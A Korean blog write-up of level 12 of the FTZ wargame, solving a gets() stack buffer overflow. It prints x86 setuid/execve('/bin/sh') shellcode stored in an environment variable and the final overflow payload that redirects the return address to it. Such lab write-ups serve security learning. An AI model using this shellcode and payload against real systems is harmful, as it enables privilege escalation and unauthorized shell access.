System/FTZ

FTZ. 12

dcho 2019. 9. 6. 13:47
SMALL
level12 // it is like this

힌트는 다음과 같다.



main 함수를 분석하면 핵심 부분이 있는데 그 부분은 gets 함수를 사용하는데있다.

gets()함수는 사용자가 엔터를 치기 전까지 입력한 값들을 인자로 주어진 메모리 주소에 저장한다. 즉, 엔터를 입력하기 전까지 얼마든지 많은 값을 입력할 수 있다는 말이다. ->문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않는다.

환경변수를 이용한 공격을 해보겠습니다.

SH라는 환경변수를 넣어주었다.

export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`



환경변수 주소를 구하는 코드를 짜고 주소를 알아보니 0xbffffe5b

11번과 동일한 방법으로 풀면되겠다.

환경변수주소(little endian) : \x5b\xfe\xff\xbf

환경변수 주소를 ret에 넣어준다.

그리고 최종적으로 페이로드는 다음과 같이 넣으면 해결이 된다. 
(python -c 'print "\x90"*268+"\x5b\xfe\xff\xbf"';cat)|./attackme


'System > FTZ' 카테고리의 다른 글

FTZ. 14  (0) 2019.09.06
FTZ. 13  (0) 2019.09.06
FTZ. 11  (0) 2019.09.06
FTZ. 10  (0) 2019.09.06
FTZ. 9  (0) 2019.09.06